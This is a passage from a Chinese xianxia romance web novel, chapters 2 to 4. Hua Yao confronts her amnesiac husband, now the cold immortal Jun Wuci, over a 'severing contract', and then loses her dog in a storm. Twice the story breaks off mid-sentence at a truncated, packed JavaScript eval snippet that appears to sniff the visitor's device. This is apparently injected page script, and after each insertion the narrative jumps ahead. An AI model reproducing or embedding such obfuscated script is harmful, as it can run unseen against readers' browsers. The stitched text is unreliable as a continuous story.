《你们可曾见过她?》 2. 第 2 章 “姑娘,在下君无辞。”‘阿福’看着她,说道。 “姑娘……”花遥望着他,喃喃地重复这两个字,心头滞涩发苦。 来之前,她想过很多,想过山高水远,自己会不会病死在半路,喂了豺狼。每当雨夜蜷缩在破庙角落,浑身疼得发抖时,她确实怕过,甚至想过要不就算了,回她的白衣坝去。 可她只要一闭眼,就能看见阿福被人折磨得浑身是血的模样。 这个念头日夜刺着她的心。于是,脚底的水泡、手臂的伤、独自面对黑夜的恐惧,都成了可以咬牙忍受的东西。她甚至抱着幻想:或许只是误会呢?阿福面冷心热,从不像是会做坏事的人。也许仙人们带他回去问话,等误会澄清,她就能牵着他的手,一起回家,回到白衣坝,回到他们漏雨却温暖的小屋。 她想过冻死,饿死,累死,被野兽咬死,被歹人害死。 她唯独没有想过——当她终于跨越千山万水,站在他面前时,他会这样冷漠地唤她……‘姑娘’。 像唤一个擦肩而过全然无关的陌生人。 她所有的跋山涉水和担忧心疼,在这一声称呼面前,都显得如此自作多情,如此荒谬可笑。 四目相对,她望着那双深如寒渊的眼睛,只觉得一股滚烫的酸涩猛然冲上鼻腔,眼眶瞬间红透。 委屈像潮水般灭顶而来,几乎要将她淹没,她很想不管不顾地嚎啕大哭,问问他到底怎么了,问问他记不记得那些相濡以沫的日子。 可自尊却让她咬着牙不肯漏出一声呜咽。 然而泪水实在是太难以压制,它们迅速蓄满眼眶,模糊了眼前那张冰冷完美的脸, 她说不出话来,喉头像生吞刀片般呼吸困难。 她不再看那张脸。 她猛地扭过头,咬着牙,朝殿门大步走去。 君无辞静立在敞开的殿门中间,他看着她双眼通红地一步步走近,那双总是蕴着霜雪的深眸里看不出情绪,只是淡淡地落在她的身上,等她开口。 可花遥没有。 她甚至没有偏头看他一眼地与他擦肩而过,带起的一缕微弱气流,拂动了他玄袍一角。 “花遥姑娘,你还没签字……” 萧韵嫣的声音带着一丝不易察觉的急促,适时在花遥身后响起。 花遥像是没听到一样,朝大殿外的广场跑去。 萧韵嫣手持绝情契的卷轴,下意识追了几步。 “我去吧。” 一道声音在她身侧响起,却让萧韵嫣的脚步蓦然顿住。 “大师兄……”她犹豫了一瞬,最后还是将手中的契书递了过去。 花遥一股脑地朝前跑,粗布的裙摆扫过白玉台阶,离那大殿越来越远…… 她不是想逃避,只是想找个没人的地方喘口气。 纤细的身影在辽阔的仙宫广场上显得如此渺小,像一片被狂风刮离枝头的枯叶,飘向那云雾翻腾之处。 在她身后不远处,君无辞并未施展任何神通,只是一步一步,不疾不徐地跟着,玄色袍角在流动的云气中微微拂动。 直到花遥终于力竭,在云海最边缘猛地站住脚步。 她弓着腰,双手撑在膝盖上,急促地喘息,泪水像是再也承受不住地大颗大颗滚落。 再往前一步,便是虚空的万丈云渊,望着脚下那片仿佛能吞噬一切的纯白,一阵冰冷的晕眩感攫住了她。 沉稳的脚步声,在她身后约莫十步之外,停住。 他没有立刻靠近,只是沉默地注视着站在悬崖边的女子。 花遥没有回头,却能感受到那目光落在自己颤抖的背脊上,如同月华般漠然。 直到她的气息慢慢稳定。 “姑娘,此前蒙你救助,”他的声音穿透稀薄的云雾传来,依旧听不出什么情绪。“此段因果需了,你可有什么要求?但有所需,我皆可令人备下,保你余生富足无忧。” 花遥的呼吸猛地窒在喉咙里,撑在膝上的手指因用力而泛白。 她慢慢直起身,转过身,眼底还残留着未干的水光,却已经被风吹得冰凉。她看着几步之外那高高在上的身影,看着他那双再也寻不到一丝温情的眼睛,扯了扯嘴角。 “条件是签下那纸绝情契,斩断前缘,从此两不相干么?”她轻声问他。 风从云海深处卷来,拂动他流银滚边的广袖,也吹起花遥额前枯黄的碎发。 他淡淡地看着她,没有否认,这静默本身就是最锋利的答案。 可她到底还是心有不甘,明明他们曾经那样好过。 怎么会这样呢? “阿福……你……你是不是已经忘记了我们的曾经?”她猛地想到了什么,上前一步,急切地问道“你……你是不是也像以前那样,已经忘记了我们的曾经?” 不等他回答,她仰着脸,双手无意识地紧紧攥着自己的衣摆,指节用力到发白,语句都因过于激动而显得凌乱绊磕:“我们的家在白衣坝,你秋末在屋后那片坡地撒的菜种,我临走前去看过,已经冒出嫩生生的芽了,绿莹莹的一片……你说等夏天就能吃上我们自己种的菜……还有……还有灶房漏雨的那处墙角,你去年秋天新糊的泥……你垒的那个小灶台,火总是特别旺很省柴……” 她说得又快又急,仿佛慢一点他便会再也记不起来。 君无辞静静地听着,面容依旧如玉石雕琢,没有不耐,却也没有动容。 “阿福,我们成婚了你还记得吗。成婚那日,左邻右舍的都来了,王婶送了我们一对她自己绣的枕巾,虽然针脚有点歪……李叔打了半斤酒,你只喝了一小口脸就红了……还有……” 她的手指慌乱地探进粗布衣衫的内襟,急切地摸索着,终于扯出一根细细的红绳,她将绳子上系的玉指环拿到他的眼前,“你看……这是洞房那夜,你送给我的定情信物。” 她盯着他的眼睛,试图从那双深不见底的寒潭里,找到一丝一毫熟悉的情意“你还说……等你有钱了一定让我住上大房子,每天都吃上山珍美味……阿福这些你真的都不记得了吗?” “我记得。”直到她因急促的喘息而不得不暂时停住话语,君无辞终于开口了。 花遥心口一喜。 那双泛红的杏眸都迸出了微光。 “姑娘,抱歉。” 下一瞬,他的话像一把淬了冰的薄刃,将她捧上的心生生劈成了两半。 “阿福是我,却不是真正的我,那只是我失去记忆时的一段经历,如同长夜旅人短暂借宿于荒村檐下,檐下所见的风雨灯火,乃至片刻暖意,于天明赶路之人而言,只是途中的零星印记,而非归处。” 风从云海深处卷来,衣袂翻飞间,他神情冷淡地立于云崖之巅,身姿挺拔如万载寒松,眉眼低垂时,似高悬于九重的寒月,俯瞰尘寰却从不垂怜。 “凡尘之人,朝生暮死。你所执着的烟火痕迹,于无尽道途而言,不过瞬息尘埃……”君无辞的目光扫过她倏然惨白的脸,几不可察地停顿了一瞬,才继续说道“姑娘若是愿意斩断前尘,褪去凡根……我可允你留在紫霄宫外门修行。虽仙路艰难,终比你在凡尘中碌碌百年,归于尘土,要多一线窥见长生超脱生死的机缘。” 留在这个地方修行? 她做不到他这般绝情,又如何修行? 花遥看过很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“快说快说……”他若故意不说,她便会如同猫咪一样在他脖颈见不停蹭。 即便很快她的体温就因为他而渐渐冰凉,明知道放开他,她能很快暖和起来,却始终不愿意放开他,还会迷迷糊糊地将他搂得更紧,在梦中含糊地咕哝:“不冷……阿福不冷……” 那时的她温暖又柔软,让他冰冷的肢体都仿佛要生出错觉,以为春天真的提早降临在这破败的屋檐下。 而现在,这双手,凉得像冰。 “仙尊……”这时,花遥突然冲他笑了笑,问道“是不是只要在《绝情契》上签下我的名字,就真的能斩断尘缘,因果两清?从此以后桥归桥路归路。” “我们便能再无任何瓜葛?” “是。”他声音低沉平缓“《绝情契》以天道为证,法则为凭。一旦落契,凡尘因果尽斩,前缘皆销。你与我之间,无论恩情纠葛乃至……” 他话音微不可察地一顿,那双深如寒渊的眸中,似有极深处掠过一丝难以解读的暗影,快得仿佛错觉“凡俗缔结之名分,皆烟消云散,不复存焉。你走你的轮回道,我修我的长生途……”他望着她,最后几个字说得极慢,极清晰。“你我自此,两不相干,永无牵连。” 两不相干,永无牵连。 一阵尖锐的刺痛从花遥心口涌出,疼得她不得不蓦地攥住手。 “好。”很快,她听见自己说,声音出乎意料的平稳,她掐着手心,强迫自己又冲君无辞笑了笑“麻烦仙尊给我一支笔,我现在就签。” 3. 第 3 章 君无辞广袖微拂,玉笔和绝情契卷轴同时出现在了花遥的面前。 “且慢。”看着她没有犹豫地拿起笔要签字,君无辞突然开口。 花遥握着笔,偏头看向他。 他目光落在她泛红的眼眶,那双深眸里仿佛有极淡的云霭掠过,“卷上所书不过凡俗之物,你若不愿取,可另择它偿。” 他顿了顿,见她不语,终是将那早该明示的话点透:“紫霄仙宫的丹阁之中有‘还魂丹’,即便只是凡胎□□,但有一息尚存,服之可续命重塑;亦有‘逍遥丹’,服之虽无法脱胎换骨,但可延年益寿;还有洗髓丹可洗精伐髓,于任何人而言,这些丹药远比金银田宅更有用,你可选一二带走。” 花遥终于抬起眼,目光却空茫茫地落在他玄色的衣襟上,没有焦点。 她累了,只想回家。 二十一世纪的家回不去。 白衣坝的家……已经没了…… 她眨了眨干涩的眼,隔了几息才说道:“麻烦仙尊给我一颗逍遥丹,一些金银便好。” 他看着她眼中的倦色,竟一时无言。 沉默在悬崖边蔓延,唯有云海在脚下翻涌。 几息后,他敛去眸中的神情,说道:“不必急于此刻。” 他抬手,那悬浮的玉笔与卷轴倏然收回。 “天快黑了,今夜因有风雨,你先好好休息一夜,待到明日,再予我答复便是。” 也不等花遥说话,一柄泛着银辉的长剑出现在她的脚下。 君无辞微微倾身,朝花遥伸出手:“走吧,我带你去休息。” 花遥的确太累了,这四个月没有哪一天好好休息过,不知道是不是山太高了,她浑身发麻,根本无法思考。 “谢谢仙尊。” 她说着道谢的话,却躲开了他的手,宁愿摇摇晃晃也不愿借他的力气。 君无辞没有说话,沉默地收回了手。 紫霄仙宫云海之上,上百座奇峰星罗棋布,如碧玉簪般刺破云涛,有的终年飞雪,有的四季长春,有的霞光缭绕,有的剑气凌霄。 而众峰之巅,凌驾于所有山峦之上的,是一座通体恍若皎月凝成的孤峰——寂照无间。它并非最高,却最为核心,终日笼罩在一层柔和不刺目清泠辉光之中,如一轮落入云海的明月,与漫天星辉共鸣。 峰顶殿宇的轮廓在光晕中若隐若现,那便是君无辞的洞府所在。 花遥站在君无辞的身后,他高大的身影几乎完全遮住了她,也挡住了任何朝她吹来的风雨。 原来……站起来的阿福会这样高。 她几乎只到他的胸口。 不……他不是她的阿福了。 他们以后没有关系了。 花遥闭了闭眼,咽下喉头的滞涩。 她会慢慢习惯这一切的。 她强迫自己睁开眼,转移注意力。 这才发现就算眨眼便是风景换移,可看着近的山头,竟然还有很远的距离。 “师兄。”清越的声音自身后传来,如玉石叩冰。 飞剑应声悬停。 花遥抬眸,便见方才大殿上见过的女子正驾着一道浅碧色遁光轻盈落下,月白道袍的广袖在风中拂动,宛如月下初绽的青莲。 “何事?”君无辞问道。 萧韵嫣的目光快速掠过他身后的花遥,微笑着说道:“师兄既已决定暂且安置这位花遥姑娘,不如交由我来照料。毕竟同为女子起居问询,总归比师兄方便些。” “不必了”他拒绝得干脆“她只暂住一夜。” 听到这句话萧韵嫣并未坚持,只是那清亮的眼眸微微转向花遥,唇边浮起一丝浅笑:“既如此,师妹便不多言了。只是我观这位姑娘神色疲惫,身上似乎还有未愈的旧伤。我身上正好带有温和的培元丹药。师兄,我想和花遥姑娘稍叙片刻,一则赠药,二则……也有些女子之间体己的话,想对姑娘私下言说。” “可。”一字落下,他广袖微拂,脚下飞剑倏然加速,载着花遥化作一道流光,径直投向远方那座被月华笼罩的寂照无间。 君君无辞将她领至偏殿,室内陈设清简,却一尘不染,隐有灵气流转。 他站在门边,声音在空旷的殿内显得格外清晰:“你好生休息。我住隔壁的院子,若有要事,可来寻我。” 花遥无言,只微微颔首,便转身走向八仙桌安静地坐下,背对着他,单薄得像一张随时会被风吹走的纸。 他看着她清瘦的肩线,顿了顿,终是转身欲走。 刚迈出两步,却又停下。 他没有回头地说道:“萧师妹比我更熟知门内诸般珍宝丹药,可让她与你细细分说。” 说完,便不再停留。 很快有交谈声从门外传来。 花遥没心思去听两人说什么,她双手撑腮盯着院子外的仙草,发现天空已昏沉已有不少乌云聚集,今夜会下雨吗? 门外人声消弭后不久,脚步声复又响起。 铃铛叮咚。 萧韵嫣提着一角月白色的裙摆,步履轻盈地走了进来,带来一阵清雅的莲蕊冷香。 “花遥姑娘。”她声音清越,将一个精巧的玉瓶和一叠折叠整齐的衣物放在桌上。 “这瓶‘培元丹’药性温和,最宜温养元气,姑娘可每日服一粒,于你眼下虚亏之症大有裨益。”她将玉瓶轻轻推向花遥,指尖莹白如玉。 接着,她又展开那叠衣物,竟是一套做工极其精致料子似云似雾的浅碧色裙衫,袖口与衣襟处以同色丝线绣着若隐若现的缠枝莲纹,光华内敛,却一看便知非凡品。 “这衣裳虽算不得什么宝物,却附有洁净避尘的小小符阵,穿着也轻便舒适些。姑娘身上衣物……”她目光含蓄地扫过花遥那身粗布旧衣,语气毫无鄙夷“奔波许久,也该换换了。” 花遥的目光终于从那盆文竹上移开,落在裙衫与丹药上,唇动了动,却未发声。 萧韵嫣似未察觉她的沉默,在她对面优雅落座,语气闲聊般自然:“师兄他性子是冷了些,但天资卓绝,心系大道,是我紫霄仙宫千年来最杰出的弟子。莫说同辈,便是许多修行数百年的长老,论起对天道的领悟与剑道锋芒,也难出其右。”她顿了顿,唇角笑意微深,带着一丝与有荣焉的感叹,“正因如此,宗门上下,乃至仙盟各派的杰出女修,对师兄心怀仰慕者不知凡几。前些年啊,灵台山有女修见过师兄一面,便不可自拔,花费数十年苦修禁术“同心蛊”,于众目睽睽下,自毁道基将蛊虫渡向师兄,虽然蛊虫未近身便被师兄护体剑意绞碎,女修修为差点尽废……事后却仍不觉后悔,到如今仍痴心于师兄,只是师兄向来潜心修行,于这些红尘琐事……是从不入心的。” 她说着看向花遥,仿佛只是在分享一件众所周知的趣事,语气甚至带上了几分玩笑般的无奈:“有时候我们这些做师妹的看了,都替那些仙子们觉得可惜呢。师兄那样的人物,生来便是要凌驾九霄问道永恒的,眼中又怎会真的容下凡尘砂砾?” 每一句话都温和有礼,每一个字都像最细腻的沙,缓缓堆砌,无声地垒起一道看不见却高不可攀的墙。 墙的那边,是千年天骄,是万众仰慕,是踏碎虚空问道成仙; 墙的这边,是普通凡人,被苦痛折磨,只有转眼即枯的朝露人生。 起风了,空中的乌云越来越密集。 花遥收回视线,偏头说道:“萧姑娘不必说这些,明日我便会离开这里的。” 被捅破了纸窗户,萧韵嫣也没有半分尴尬,微微一笑说道:“那我与姑娘讲讲丹药灵宝吧。” 萧韵嫣离开时,花遥让她将衣衫和丹药带走,她却没有。 “花遥姑娘,你和师兄相识一场,临别在即,这些微末小事,姑娘便莫要推辞了。” 乌云聚集得很快,天色暗下时,有人送来了一份晚膳。 是花遥从未见过的食材,味道鲜辣,还有四个……包子。 她掰开那雪白松软的包子,是猪肉香葱的酱肉馅,油润润的,夹杂着切得细碎的葱末,咸鲜的酱汁微微浸润了内层的面皮。 “阿福,等以后你腿好了,咱们日子宽裕了,你一定要带我去镇上,吃酱肉包子.”她记得自己当时眼睛发亮,强调着:“我要猪肉香葱馅的,得是五花肉剁的,肥瘦相间,咬下去满口油香那种,可不许拿菜包子糊弄我。” 她抬眼看了看灶火映照下他如画的侧脸,忍不住强调道“就算有一天……就算有一天你真的飞黄腾达了,要……要离开我了,”她顿了顿,努力让嘴角的弧度保持上扬,眼睛却一眨不眨地看着他,“也要记得,先请我吃一顿酱肉包子,要最好最香的那种,这样……这样我才能放你走嘛。” “记住了吗阿福?” 那时阿福说了什么。 他坐在那张矮旧的小板凳上,正往灶膛里添柴,跳跃的火光将他侧脸的轮廓映得忽明忽暗。听到她的话,他动作顿住,抬起脸。下巴上还蹭着一点刚才帮忙时沾上的黑灰,却衬得那双墨色的眼在火光中格外沉亮,像浸在深潭里的星子。 “你过来,”他看着她,沉声说道“我与你说。” 花遥被他看得心尖莫名一跳,老实地在围裙上擦了擦手,乖乖走近,在他面前弯下腰,视线与他齐平:“你说嘛,我听着呢。” 火光在她脸上投下温暖的影子,睫毛的阴影轻轻颤动。 “靠近些。”他又说。 花遥不明所以,又凑近了一点, 下一秒,手腕骤然被一只滚烫的手掌握住,力道不容抗拒地向下一带。 她低呼一声,天旋地转间,整个人已被他强行拉着坐倒,不偏不倚地跌坐在他坚实的大腿上。小板凳发出不堪重负的“吱呀”声。 “阿福!你……” “不会。”她惊惶未定,挣扎着想站起来,却被他另一只手臂紧紧箍住了腰身,牢牢锁在怀中“不会有那一天。” 话音未落,他咬住了她微张的唇瓣。 像是惩罚她,力道逐渐加重。 她吃痛地呜咽一声,那咬她的力道蓦地松了,变成了唇齿厮磨逐渐深入侵占。 不知过了多久,他才稍稍退开些许,额头抵着她的,灼热的气息喷洒在她湿漉漉的唇瓣和鼻尖,箍在她腰上的手臂依然如铁钳般牢固。 他拇指用力擦过她红肿的下唇,抹去一点可疑的水痕,眼神幽深,嗓音沙哑地说道:“再敢说那种话,下次可就不是这样罚你了。” 一声雷鸣倏地撕裂天地。 花遥拿着包子的手猝不及防地颤了颤。 她回过神来,将包子一点点吃下,别的都没动。 他飞黄腾达到了她永远也触不到的高度,这四个包子,是君无辞对她的回答,而不是阿福。 是在告诉她,他要离开她,所以,请她吃这一顿世间最好的酱肉包子。 哗啦啦的雨滴铺天盖地地砸下来时,花遥回过神来。 “鼠标!” 天黑了,这么大的雨不知道要下到什么时候。 她不能留鼠标在山脚下。 从穿越过来,鼠标就一直陪着她。 跋山涉水的这四个月,也是它一直跟着她。 好几次要是没有它,她不知道能不能挺过去。 花遥倏地从椅子上站了起来。 她得去找鼠标。 推开偏殿的门,夹杂着灵气的冰冷雨丝立刻扑面而来。她刚跑到院门口,就被眼前的景象钉住了脚步。 这哪里是她能用双脚丈量的山路?院外根本不是路,是翻腾汹涌的云海被暴雨搅成了墨黑的怒涛,几道若隐若现的虹桥在远处风雨中明灭不定,仿佛随时会断裂。 视线所及,除了这孤悬云中的峰顶殿宇,便是深不见底、吞噬一切光亮的黑暗虚空。 她在这里举目无亲,只能去找君无辞。 她咬咬牙,转身奔向旁边的主院。 穿过九曲回廊,她敲响了房门“仙尊。” “何事?”君无辞的声音传来。 花遥喘着气,急道:“……鼠标,被我留在山脚下了,这么大雨,我得去找它!” 片刻沉寂,只有风雨声,她以为他拒绝了。 下一瞬,门开了。 君无辞高大修长的身影出现在她眼前。 “鼠标……跟着你过来了?”他问道,神情因为逆光而显得格外晦暗。 “嗯。麻烦仙尊送我下去,我知道狗不能带上来,我不会给你讨麻烦的,我带它……” 走。 “我让弟子送上来。”还没出口就被君无辞打断。 “谢谢仙尊。”她松了一口气。 君无辞并没有回应她生疏客气的谢谢。 只是几息后。 他神情微不可查地变了变。 “怎么了?”花遥下意识地追问道。 “鼠标……丢了。” 狗不见了? 花遥的心猛地一沉,来不及思考,转身就朝山下跑去。 “你去哪里?”君无辞抓住了她的手臂,力道不重,却如铁箍般让她无法挣脱。 “我要去找鼠标……”她猛地回头,眼里全是慌乱的碎光,“这么大的雨,山里不知道藏着什么野兽,它那么小……我得去找它!” “你也知道雨大。”君无辞的声音透过密集的雨幕传来,比雨水更冷,也更沉。他没有松开手,“你没有修为,不识路径,如何去寻?” 鼠标虽然只是一条狗,但对花遥来说已经是亲人了。 “阿福……仙尊你能不能……帮我”她像抓住一根稻草般急切地说道:“我保证找到它就走,绝对不会纠缠你一分。” 君无辞盯着她的眼,没说话。 也就是这时,一道略显急促的碧色遁光冲破雨幕落下,正是萧韵嫣。她脸色异常苍白,气息不稳,被一名随侍的女修搀扶着,唇色淡得近乎透明,显然旧疾突发。 “师兄……”萧韵嫣虚弱地唤了一声,身形微晃。 “月华仙尊,小姐她……”女侍看着花遥,猛地住嘴。 君无辞立刻放开花遥,几步走到萧韵嫣面前,食指点向她的额间。 一息后,他表情微变,从侍女手中接过萧韵嫣,扶着她朝房间走去。 花遥眼睁睁看着两人从她面前走过。 她知道此刻不应该打扰,可鼠标……怎么办? 它跟了她一路。 她不可能抛下它不管的。 “仙尊……”花遥攥着拳,只能碘着脸说道“能不能烦请您吩咐一位弟子,带我下山。我去自己去找鼠标。” 萧韵嫣虚弱地回头问道:“什么……鼠标?” 花遥:“我的狗它不见了。” “一条狗?”侍女声音都惊了“你知不知道你在说什么?” 花遥抿唇。 萧韵嫣倏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“鼠标……鼠标你在哪里?”花遥的呼喊声在暴雨和山林呼啸中被撕扯得断断续续。她只能一边用手徒劳地遮挡着砸向眼睛的雨水,一边在伸手不见五指的漆黑密林里深一脚浅一脚地向前摸索。 她什么都顾不得,在漆黑的密林里被湿滑的苔藓和裸露的树根绊倒无数次,泥浆糊了满身,手脚被岩石和树枝划破,声音喊到嘶哑破碎。 “鼠标……鼠标……”泥浆糊了满身,头发一绺绺黏在脸上脖子上,冰冷的雨水顺着发梢不断流进衣领,带走所剩无几的体温。手脚被岩石棱角和断裂的树枝划破的口子,在泥水和雨水的浸泡下,边缘发白,疼痛变得麻木而持久。 直到一道雷鸣的间隙里,她捕捉到了一丝极其微弱的呜咽。 “鼠标……”她眼前猛地一亮,几乎要迸出泪来。 顾不得浑身疼痛,她立刻朝声音传来的方向踉跄冲去。 闪电再亮时,她终于看见倒在泥泞中的鼠标,小小的身体被撕咬得血肉模糊,几乎没一处完好的皮。 看起来像是死了。 “鼠标……鼠标……”花遥声音发颤,浑身发软地朝它跑去。 鼠标听到她的声音,满是血污的小脑袋动了动,它呜咽着……拖动几乎被咬穿的后肢,前爪深深抠进冰冷的泥泞里,一点,一点,朝着花遥的方向爬去。 身下拖出一道蜿蜒刺目的血水泥痕,它用尽残存的力气似乎也想最后抱抱它的主人…… 主人是它世界的全部。 就算死也应该死在主人的怀抱里。 “鼠标……鼠标……”雨水和泪水彻底糊住了花遥的眼睛,心脏像被一双无形的大手狠狠攥紧,痛得无法呼吸。她不顾一切地朝那团小身影扑去,可脚下的泥泞太滑。 “砰!” 她重重摔在冰冷的泥水里,手肘和膝盖传来骨头磕碰石头的钝痛,眼前骤然发黑。 剧痛和眩晕中,她拼命抬起头。 鼠标躺在不远处,闭着眼一动不动。 她拼了命地朝它伸出手。 无论她多么努力,指尖依然碰不到它。 “鼠标……鼠标,你怎么样……”她带着哭腔,手脚并用地朝它爬去。 主人焦心的呼唤让鼠标缓缓睁开眼,它黑葡萄般的眼睛最后看了她一眼。 然后,前爪无力地松开,伤痕累累的身躯彻底瘫软下去,再无一丝声息。 “不……鼠标……鼠标!”花遥手脚并用地爬过最后那段泥泞,颤抖着伸出手,将那具冰冷的小身体抱进怀里。 泥水混着血水浸透了她胸前的粗布,刺骨的凉意直透心底。 “鼠标……没事的,没事的……”她跪在泥浆里,语无伦次声音抖得不成样子,想将它紧紧抱住为它取暖,可它满手的鲜血,她甚至不敢用力“我这就……这就去找人救你,仙人有灵药,一定能救你的……你撑住好不好?再撑一下……” 可无论她说什么,那双总是湿漉漉盛满信任与依赖的黑眼睛,再也没有睁开。 曾经会欢快摆动,甚至会笨拙地替她舔去眼泪的小舌头,再无动静。 “鼠标……” 就在她悲痛欲绝之际,侧后方灌木丛猛地被撞开,,一头被暴雨和血腥味刺激得双目赤红的野猪,獠牙森白,低吼着朝她猛冲过来,速度快得惊人。 花遥反应过来时,那致命的腥风已近在咫尺。 她瞪大了布满泪水的眼,根本已经来不及躲闪。 她要死了吗? 腥风扑鼻,就在野猪离她不过咫尺的距离时,一道比雷霆更迅疾的剑气倏地撕裂雨幕。 野猪骤然僵住,庞大的身躯顺着冲势又滑了半步,轰然倒地。从眉心至尾部,一道细不可察的冰线浮现,下一刻,整头野猪竟无声无息地分成了均匀的两半,切口光滑如镜,竟无一丝血液溅出,所有生机在瞬间被极致寒冷的剑气彻底湮灭。 狂乱的雨声中,一道站在半空中的玄色身影出现在花遥的眼前。 四目相对。 她在磅礴大雨里,一身血水泥泞,脏污不堪。 他站在半空中一身冷冽月华,纤尘不染。 她连靠近他一分都好像是在玷污。 可他是修士,他有大本事。 “阿福……你救救鼠标……”花遥抱着小狗猛地站起身,什么都顾不得地朝君无辞冲去。 泥泞的路让她踉跄地朝前扑去的瞬间,一只大手牢牢地搂住了她的腰。 她身上的血污瞬间弄脏了他的衣衫。 在他的怀抱里,雨□□电狂风再也近不了她的身。 “阿福……”她近乎理智全无地抓住君无辞的胳膊,哀求道:“阿福……你救救它你救救它……好不好!” 君无辞看着她红肿的双眼,沉默了须臾才说道“它……已经死了。” 这一瞬,花遥浑身的力气像是被抽走了。 “你……救不活它吗?”她哽咽着,却还是不死心。 “抱歉!”君无辞。 花遥放开手,看着他,朝后缓缓退了两步,然后抱着鼠标从他的身侧踉跄走过。 “你要去哪里?”擦肩而过时,她的手臂被君无辞一把抓住。 “你走……”花遥浑身控制不住地抖着,不知是冷,是痛,还是恨,她用尽全身力气,猛地将手臂从他掌中抽出“君无辞,我不想再看到你……” 4. 第 4 章 此时,花遥自责得想死。 如果不是她一意孤行要找阿福,她就不用卖房子卖地,鼠标也不会跟着她受苦,一路风餐雨露吃冷馒头喝脏水。 如果不是她要上山去见他,她就不用离开鼠标,鼠标就不会死。 为什么……她上山不敢要求带上鼠标? 为什么要把它孤零零地丢在山下? 都是她的错…… 都是她的错! 她顶着大风大雨走了几步,手臂被人从后面拉住。 “放开我!”她头也不回地使劲想抽出手臂。 可无论怎么用力,都甩不开那只桎梏她的手。 “放开我……”委屈、痛苦、悔恨、以及这漫长一天里积攒的所有绝望和无力,如同被堤坝阻拦了太久的山洪,在这一刻终于轰然决堤,她不顾一切地挣扎“……你滚啊……放开我!” 她真的一点也不想再看到他。 “姑娘”君无辞始终没有放开她“山上灵气充沛,无论如何先将鼠标安葬。” 死都死了,灵气充沛又有何用? “这是我的事,麻烦这位仙尊放手。”她回头,盯着他。 痛苦到麻木的神情,眼里没有了曾经的光亮。 君无辞看着她的眼睛,神情在滂沱的大雨和阴影里看不真切,一息后,他才终于开口“今夜雨大,无论如何先跟我回去……” “我不去!”花遥像是被彻底激怒的猫咪,用尽全身力气猛地将自己的手臂从他掌中抽出!力道之大,甚至让她自己跟跄着倒退了两步。 泥水溅起,湿透的裙摆紧紧缠裹住她的小腿。 她抱着鼠标眼泪混着雨水疯狂涌出,朝着他嘶声吼道:“我不想看到你!” 她不再看他,死死搂着怀里冰冷的小身体,转过身,一头朝黑夜与暴雨之中扎去。 眼看那抹纤细倔强的身影,就要彻底融入黑暗与暴雨里。下一瞬,玄色衣袂如墨云翻卷,君无辞已直接拦在了她的面前。 “姑娘!”君无辞似乎因为她一而再再而三的不识好歹,神情异常冷冽“此地灵气充沛,亦有野兽出没。你一介弱女子毫无修为,因我而来,我必不可能看着你葬身于此。” “所以,”他最后说道,语气是不容反驳的结论,“我会送你去最近的镇子安置,待你安全无虞,你我因果才能两清。” 话音落下,他已抬手,一道温和却不容抗拒的灵力自然笼罩住她,隔绝了外界的凄风苦雨。 他说得对。 花遥也慢慢冷静下来。 “好”她缓缓地说了一个字,偏过头去。 几息间便到了镇子。 花遥跪在地上,赤手在后院的大树底下挖了一个坑,将鼠标埋了进去。 反正一身泥泞,她在地上坐了一会儿。 起身时才发现君无辞站在她的身后,手中撑着一把油纸伞。 “谢谢。”她没看他,提步朝走廊走去。 君无辞沉默地跟在她的身后,待到小二将她带到房间门口,他开口说道:“这里你可随意居住,一日三餐他们都会照料,待会店家会送来干净衣裳。” “好。”花遥。 “这是伤药,这时传音符,能使用三次。”他递过来一张符箓。 “好。”花遥接过,便头也不回地进屋,反手关上门。 很快小二送来了热水,一碗姜汤,也送来了一套衣裳,虽不是什么好料子,但干干净净。 花遥浑身疼得不行,却并没有使用君无辞赠送的伤药, 伤口太多,但大多不深,她没敢洗澡,咬牙用热水擦干净,躺在床上沉沉睡去。 她太疲倦了,奔波四月今夜又淋了雨。 浑身冰冷难受,她几乎什么都不能想也不愿想,她任由自己沉沉睡去。 花遥一觉睡到第二天下午。 睁开眼就感觉到头晕眼花,鼻子堵塞,喉咙宛如刀割。 感冒了。 她想拖一拖,却怕夜里太难熬,还是强忍着难受起身,刚坐到桌边,便看到了一瓶丹药。 花遥盯着那瓶丹药看了许久,最终没有碰。 她只是机械地端起桌上的粗瓷茶壶,倒了两杯凉透的茶水,一口一口喝了下去,冰凉的水划过干涩的喉咙,带来一丝微弱的清明。 大夫上门看诊费用太贵,她如今已经没有多少银子了,拖着双腿缓缓来到客栈柜台。 掌柜正低头算账,见到她热情地问道“客官,有什么吩咐?” “请问,”她的声音有些哑“最近的医馆怎么走?” 掌柜热情地指了路:“出门右拐,走到第二个路口左转,再一直往前,看到一棵大槐树,‘慈心堂’就在对面,招牌挺大的。” 花遥点头道谢,转身,慢步走出客店。 下过雨的傍晚,空气里弥漫着泥土和草木洗净后的清新气息,温度降了不少,晚风带着凉爽。大街上人来人往,比白日里更显热闹。小贩在路边支起了摊子,卖着热腾腾的馄饨、面条,空气里飘着食物的香气。孩童举着风车从她身边嬉笑着跑过,溅起石板路上未干的积水。茶馆里传出说书人醒木拍桌的脆响和隐隐的喝彩声。 这一切鲜活的人间烟火,嘈杂而温暖,却像隔着厚厚的一层,传不进花遥的耳朵,也落不进她的眼睛。她只是按照掌柜指的方向,一步一步地走着。 直到她听到一个记忆中熟悉的声音,终于回过神来。 “卖混沌呢,热腾腾的馄饨!” 街角的馄饨摊热气腾腾,灶火映着一个忙碌的微胖的背影,系着蓝布围裙,动作麻利。 许大婶? 花遥倏地停下脚步。 在原主零碎的记忆里,许大婶住在村东头,会摸着她的头叫她“小花”,再塞给她一块麦芽糖,还会打趣让花遥长大以后嫁给她的儿子。 原主很喜欢她,只是后来许大婶家里有钱,搬走了。 这一别就是好几年没有再见。 没想到竟然在这里见到了。 